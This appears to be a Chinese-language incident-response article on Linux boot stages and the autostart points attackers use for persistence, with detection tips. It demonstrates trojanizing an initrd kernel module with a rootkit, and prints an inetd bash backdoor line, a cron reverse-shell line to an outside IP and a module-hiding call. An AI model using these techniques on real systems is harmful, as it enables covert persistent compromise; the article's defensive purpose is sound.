Linux安全系列之啟動篇
Linux的自啟動項,相對Windows來說簡單太多了,在我們應急響應中操作系統(tǒng)的啟動方式有哪些這個是一定要知道的,不然后門也清除不干凈啊。
我們先說下linux的啟動過程,十幾年前某位黑闊大佬寫了一篇文章,說今天面試了一個腳本小子,讓他說出linux 的啟動過程,他嚶嚶嚶了半天沒嚶出個所以然來??戳艘院螅乙矊W會了,請問linux的啟動過程是什么?哈哈,雖然我自己也不知道,但我就喜歡問。
我們就百度一下Linux的啟動過程吧。
如上圖所示,一系列的東西:
BIOS自檢-->從BIOS中讀取啟動順序-->讀取MBR中的bootloader-->加載內(nèi)核-->讀取偽根-->讀取根文件中的init
網(wǎng)上還有很多文字說明,但可能你即使把那幾大段文字全部背下來也沒啥用,過兩天就忘了,因為你不知道重點。
我挑些重點來說說:
不愿意看廢話的,可直接跳到正文章節(jié)initrd
BIOS檢查磁盤的MBR信息,從中找到bootloader程序加以執(zhí)行
GRUB的***階段(其實就是bootloader)后,GRUB進入第1.5階段,這個階段主要是加載boot分區(qū)對應的文件系統(tǒng)的驅(qū)動,然后掛載boot分區(qū),此時GRUB才真正完整了,再然后GRUB才能讀取/boot上的文件和放在boot上的自身的第二階段的代碼,GRUB第二階段,程序會根據(jù)/boot/grub/grub.conf的配置加載對應的內(nèi)核。
那么/boot下放了哪些什么東西呢?
- Grub第二階段的配置文件(grub.conf)
- 一個名為Vmliunz-版本號的壓縮文件,這個其實就是系統(tǒng)的內(nèi)核(有經(jīng)驗的同學會知道,使用GDB動態(tài)調(diào)試內(nèi)核kcore然后跟靜態(tài)內(nèi)核比較異常時,就是比較的這個文件里的地址)
- 一個名為initrd-版本號*img或者initramfs-版本號*img的壓縮映像文件
繼續(xù)上面的,重點是加載內(nèi)核這個是怎么加載的,上面已經(jīng)說了,內(nèi)核其實就是/boot/vmlinuz這個文件,加載內(nèi)核就是把這個文件加載進內(nèi)存,但我們看下面這個配置,你會發(fā)現(xiàn),加載/boot/vmlinuz的同時還加載了一個/boot/initrd*.img的東西。
我們cat/boot/grub/ grub.conf如下:
這是個什么東西呢,如上圖所示,在 linux內(nèi)核啟動前, bootloader會先將存儲介質(zhì)中的 initrd 文件和kernel文件加載進內(nèi)存,kernel啟動時會先訪問該內(nèi)存中的 initrd 文件系統(tǒng)。為什么要把內(nèi)核分成兩塊,因為此時你不能掛載真正的根文件系統(tǒng),想掛載,就得跟上面掛載boot一樣先加載必要的驅(qū)動,然而根文件系統(tǒng)支持IDE、SCSI、USB等多種介質(zhì),如果將這些設備的驅(qū)動都編譯進內(nèi)核,內(nèi)核文件(vmlinuz)將難以想象的龐大。因此才將驅(qū)動剝離出來放在initrd文件里加載,我們平時lsmod可能會看到好多正在運行的驅(qū)動模塊,但是不知道他們是怎么自動加載的。他們事實上是在kernel加載前就加載了,他們被放在initrd里面。
我們可以解壓initrd看看:
執(zhí)行命令
我這里是2.6的內(nèi)核所以用的cpio,與2.4使用的 image-initrd不同2.6基本都用的cpio-initrd,至于image-initrd和cpio-initrd有什么區(qū)別,自行百度。
我們cat 當前目錄的init可以見到一些加載驅(qū)動的信息:
內(nèi)核啟動分兩個階段:
***階段當initrd/initramfs*.img這個文件被加載到內(nèi)存中,它會偽裝成一個根文件系統(tǒng)(偽rootfs),在這個偽根下有一個腳本文件/init (2.4內(nèi)核版本核心文件是 /linuxrc而不是 /init),執(zhí)行這個/init,它會負責查找并加載內(nèi)核訪問根文件系統(tǒng)必須的驅(qū)動,成功加載根文件系統(tǒng)存儲介質(zhì)所需要的驅(qū)動模塊后,***加載真正的根realfs(真rootfs)。
第二階段才會執(zhí)行真正的根文件系統(tǒng)中的 /sbin/init 進程。執(zhí)行到這一點,內(nèi)核的工作全部結(jié)束,完全交給/sbin/init文件處理。在/init腳本的***有這么一行:init=/sbin/init
該行指定了硬盤realfs中的***個要執(zhí)行的程序的位置,該變量init指定了這個腳本***要執(zhí)行的進程為/sbin/init。
細心的你可能會發(fā)現(xiàn)上面/boot/grub/grub.conf里使用的不是initrd而是initramfs,他們有什么區(qū)別和優(yōu)缺點呢?限于篇幅,請自行百度。
正文
根據(jù)上文的梳理,我們來到***個自啟動的利用點:
一.Initrd
如果我們把/boot下的initrd文件解壓,把里面的init腳本以及它包含的腳本修改了,再把這個initrd重新打包成*img,替換原有的initrd,那么有什么效果呢?
效果是,系統(tǒng)重啟后會加載我們修改過的initrd,實現(xiàn)一些你想要達到的目的。
如:我們可以在init腳本的子腳本functions中自定義要加載的內(nèi)核模塊,也可以直接在load_modules()中加載自己的模塊,這些都能讓我們的模塊隨著系統(tǒng)自啟動。
當然更陰險的是,替換initrd內(nèi)的.ko驅(qū)動模塊(這個可比替換外面的系統(tǒng)關(guān)鍵模塊陰險多了),然后再次打包換掉原有的initrd文件,這樣系統(tǒng)重啟后,你的替換模塊就工作了。
我們演示下:
我們lsmod找一個活著的系統(tǒng)驅(qū)動,我們就選定cdrom,我們先把我們的后門rootkit.c編譯成rookit.ko
這里注意rootkit.c的編寫,執(zhí)行我們的代碼前要先讓原本的cdrom_init跑起來,而模塊B中要用extern 聲明需要用到的A模塊提供的函數(shù),所以要這樣寫:
- externint __init cdrom_init(void);
- int__init rootkit(void) {
- cdrom_init();
然后把initrd解壓到test目錄(解壓方法上面有介紹),再找到cdrom.ko,copy到rootkit.ko目錄
上面第二行命令是把init函數(shù)的作用域從本地更改為全局
第三行是把我們的后門和原始的cdrom.ko連接起來成為一個新的ko
此時我們就可以把這個新的ko替換到test目錄下的initrd里面了
但是我們還要做一件事,就是我們需要把我們ko入口地址修改成我們的rootkit函數(shù)的地址,我們可以看一下,入口init_module和rootkit()的地址現(xiàn)在分別是多少:
- objdump -t cdrom_new.ko|grep init
可以看到是不一樣的,我們的地址是0000000000000011
所以我們要先把init_module的地址修改為0000000000000011
修改工具可以加入知識星球后獲取(加入方式見文章末尾)
好了,現(xiàn)在我們可以把這個cdrom_new.ko覆蓋掉原來test目錄下的cdrom.ko
然后把initrd重新打包,覆蓋掉原本的/boot/initrd.img-4.6.0-kali1-amd64
然后重啟
執(zhí)行dmesg|grep Rootkit 我們可以看到如下:
當然kernel也可以做手腳,有興趣的同學可以試試。
我們怎么檢查它是否被篡改了呢?簡單的檢查下可以用,stat 看一下時間對不對,當然要看change time,其他時間沒有用。
stat /boot/initrd-2.6.32-431.el6.x86_64.img
二.Inittab
內(nèi)核加載完畢,控制權(quán)交給了初始化程序init,init會根據(jù)/etc/inittab中定義的系統(tǒng)運行級別等動作來進行腳本執(zhí)行。所以這個配置文件inittab成了第二個啟動點。
比如:大名鼎鼎的shv5及其變種ddrk和mafix都是這種啟動方式,他們篡改后的inittab截圖:
設定了2345運行級別時都會執(zhí)行一次/usr/sbin/ttyload(后門程序)
三.Sysinit
init***個被執(zhí)行的腳本為/etc/rc.d/rc.sysinit,這個是真正的OS初始化腳本,這個腳本大概的作用是如激活udev和selinux,裝載硬盤映射,掛載其他文件系統(tǒng)等。修改它當然可以實現(xiàn)自啟動,另外它還提供了兩個模塊加載的地方,實現(xiàn)模塊自啟動,如下圖:
四.服務
init會根據(jù)定義的啟動級別去執(zhí)行相應目錄下的腳本,在不同的運行級別下,/etc/rc.d/rc這個腳本會分別執(zhí)行不同目錄下的腳本.
如:Run level 0– /etc/rc.d/rc0.d/
這些目錄下的腳本只有K*和S*開頭的文件,K開頭的文件為開機需要執(zhí)行關(guān)閉的服務,S開頭的文件為開機需要執(zhí)行開啟的服務。
于是這些腳本成了高危項,尤其是S開頭的腳本。哪些服務是否開啟關(guān)閉可以用chkconfig –list查看,但我們最怕的還是這些腳本被篡改了。
我們怎么檢查服務是否被篡改了呢?
可以用ctime及其家族成員newerct來檢查,ctime是一個非常重要的參數(shù),它代表了變更時間,一切變更,包括狀態(tài)屬性權(quán)限等,它是最可靠的檢查方式,跟ctime異曲同工的還有newerct,當然stat命令也可看一切,只是只能查看單一文件。
當然執(zhí)行stat find等命令時***先用rpm –Vf看一下,或者用自己的命令工具包。
如下圖:
我們執(zhí)行l(wèi)s –larth 顯示***一個改動的服務是mysqld
但是我們執(zhí)行命令find . –ctime-100顯示***一個被更改的服務不是mysqld
如上圖:functions服務在100天內(nèi)被篡改了,我們繼續(xù)cat看看里面是什么內(nèi)容

可以看到在第二行的兩個注釋中間被人加了這么一行代碼,就是服務啟動的時候執(zhí)行/var/tmp/rootkit并且不輸出標準輸出和錯誤輸出。
正常情況下,都是放在最前面的那些注釋行里(尤其是自動的病毒),也有放***的,這個可不一定,特征基本都是xxx >/dev/null,這樣的形式,為了不顯示啟動輸出。
注意,這里要先cd /etc/init.d,因為它都是軟鏈接,所以一定要先進入這個目錄,而不能直接使用find /etc/init.d -ctime
90%的linux后門是通過這種方式啟動的,如果學會此招,可發(fā)現(xiàn)90%的后門。
五.rc.loacl
init根據(jù)配置的啟動級別,執(zhí)行對應目錄底下的腳本,***執(zhí)行/etc/rc.d/rc.local這個腳本,至此,系統(tǒng)啟動完成。
這個/etc/rc.local腳本我們很多管理員啟動應用服務都喜歡放這里面,不多說。
六.模塊
上面介紹sysinit的時候說了,這個腳本提供了兩個地方可以自啟動模塊,分別是
- /etc/rc.modules和/etc/sysconfig/modules/*.modules
上面這是redhat/centos系列的
Debian/Ubuntu/kali系列的是這個文件 /etc/modules
除此之外,模塊的啟動大多數(shù)情況下,要依賴于服務啟動和其他啟動腳本,這是不同于windows的,甚至2.6版本模塊的啟動地位比起2.4也大大下降,大多數(shù)情況下模塊的地位居然沒有服務優(yōu)先級別高。
當然了,系統(tǒng)關(guān)鍵模塊的地位還是高的,所以這些系統(tǒng)關(guān)鍵模塊是否被替換,也是一個檢查點,依然可用ctime檢查。
另外,centos系列下還存在一種在線向initrd內(nèi)部更新驅(qū)動模塊的方法,可在/etc/initramfs-tools/modules文件中添加相應模塊的模塊名及其參數(shù),然后用update-initramfs-u -k命令進行更新。
lsmod顯示的是正在運行的模塊,modprobe –l顯示的是所有可加載的模塊(不一定在運行)
有時候最粗糙的隱藏模塊手段只隱藏了lsmod命令,我們的可用模塊都在/sys/modules下,但是正在運行的模塊和沒有運行的模塊是有特征的,沒運行的模塊,其模塊目錄下只有一個空目錄parameters
而正在運行的模塊,就有這幾個目錄,如圖:
我們可以通過一個腳本來循環(huán)比較/sys/modules下各模塊目錄下parameters的結(jié)果和lsmod的結(jié)果,來確定是否存在隱藏模塊,當然這個很不靠譜。
一行代碼kobject_del(&THIS_MODULE->mkobj.kobj);就逃過了檢查。這里主要說的是模塊的自啟動,關(guān)于模塊的隱藏和檢查,我們以后再詳說。
至此我們閱盡了linux的一生,希望對大家系統(tǒng)的了解linux有所幫助。
七.網(wǎng)絡子服務
一些小服務可以放在inetd/xinetd里托管,他們配置的一些允許開機啟動的程序可能會被替換,或者在配置文件里被替換成別的程序,或者在配置文件開啟一些危險的服務。如:daytime stream tcp nowait root /bin/bash bash –i就開啟了daytime服務綁定了一個shell來作為后門。
不多說,檢查/etc/inetd.conf或/etc/xinetd.d即可
八.環(huán)境變量
在環(huán)境變量文件(/etc/profile.bashrc .bash_profile .bash_logout)里添加命令,當管理員登陸或退出的時候這個命令會執(zhí)行(類似于windows的啟動目錄)
曾經(jīng)我應急響應時就遇到過某電商的一臺圖片服務器,整個服務器不能解析,但WEB根目錄就是一個普通用戶的home目錄,某黑產(chǎn)大佬,通過前臺上傳圖片的地方,直接上傳了一個.bashrc覆蓋了原來的.bashrc,當禮拜一管理員登陸這個普通用戶時執(zhí)行了反彈shell,淪陷!!!
九.計劃任務
Linux的計劃任務有3個地方
- /etc/crontab
- /etc/cron.d/
- /var/spool/cron/(Debian/Ubuntu系列為/var/spool/cron/crontabs/)
其中/etc/crontab和/etc/cron.d/是系統(tǒng)的計劃
/var/spool/cron/是用戶的計劃
我們平常執(zhí)行的crontab -l 看到的其實是/var/spool/cron/下的東西
黑客通常在這三個地方添加* * * * *這樣的內(nèi)容,意為一分鐘后執(zhí)行,比如這個反彈的rootshell
* * * * * root /bin/bash-i>&/dev/tcp/192.168.152.129/4444 0>&1
如果大家搞過滲透測試,遇到像redis,rsync,nfs或者一個上傳點可以寫入操作系統(tǒng)任意位置的這些漏洞,我們在windows2003下可以寫入mof或啟動目錄,那么linux呢,我們正常寫入.bashrc,.ssh/authorized_keys,/etc/crontab,/etc/cron.d/,/var/splool/cron這些位置,可見計劃任務目錄是我們滲透中永恒的利用主題。
其實對計劃任務目錄的利用并不是那么容易的,這中間是有細微區(qū)別的,因為它們對權(quán)限的要求極高,比如/etc/cron.d 這個目錄必須具有x權(quán)限才能定時執(zhí)行,/var/splool/cron這個目錄想要執(zhí)行必須不能具有w權(quán)限,打個比方,有一個mysql數(shù)據(jù)庫的注入點,mysql是以雙root權(quán)限運行的,并且沒有魔法字符的干擾,也沒有secure_file_priv的限制,可以向服務器任意地方寫文件,那么你寫進這三個計劃任務的地方就能得到rootshell嗎?
答案是否定的,為什么?
- /etc/crontab 遺憾的是mysql不具有覆蓋性,這個文件本身已存在,所以不行
- /etc/cron.d 我們說下mysql默認的umask(掩碼),默認是022,666-022是644,注意linux新文件的創(chuàng)建滿格就是666而不是777,天生不具有執(zhí)行權(quán)限,所以644權(quán)限,/etc/cron.d那自然是不讓執(zhí)行的了
- /var/splool/cron這個不能具有w權(quán)限,而644就是rw-r--r--,有寫權(quán)限,所以也是不行的了
上面說這么多廢話,只是告訴管理員:好的安全運維人員應該了解到服務器上的哪些應用可以被利用,有可能產(chǎn)生威脅,如果被利用,他們只能在哪個點被利用,哪里被增加或修改,這個是需要管理員知道的,是否要當過操盤手才能去炒股,是否要當過黑客才能去做安全運維?雖說不一定~但至少要大致了解他們的套路。
十.圖形化環(huán)境的自啟動
基于gnome桌面環(huán)境和Xorg的系統(tǒng)可能需要注意這兩個文件
- /etc/xdg/autostart
- ~/.config/autostart
十一.Systemd
Debian系列支持systemd,這玩意最皮的是可以設置隨用戶登陸來啟動服務,也就是說不需要root用戶也能設置自啟動服務。
十二.動態(tài)鏈接庫
這個類似于windows下的LPK劫持,我們上篇進程篇時講了,可以設置/etc/ld.so.preload讓使用了動態(tài)編譯的程序先加載我們的so文件,這樣只要用戶登陸后執(zhí)行任何命令就可以加載我們的so,so程序中使用__attribute__((constructor))就能使得so一旦被加載就執(zhí)行我們的代碼,來達到我們的目的。
十三.其他
當然還有一些歪門邪道的東西很多很雜,比如替換export,umask,unset等命令,這些命令在用戶的profile里有定義,當用戶登陸時會調(diào)用這些命令來設置一些環(huán)境變量啥的,那么就會執(zhí)行這些命令程序,還有比如替換last日志,當用戶登陸時會顯示上次登陸,來執(zhí)行perl腳本。替換系統(tǒng)文件啊,Pam.d后門替換啊。還有任何程序都可能執(zhí)行自己home目錄的rc文件,比如我們可以在vimrc里寫入執(zhí)行代碼等等。我們的檢查方式也主要是介紹的應用級的,如果被驅(qū)動隱藏了,那又是另外一回事,后面會介紹內(nèi)核模塊的對抗。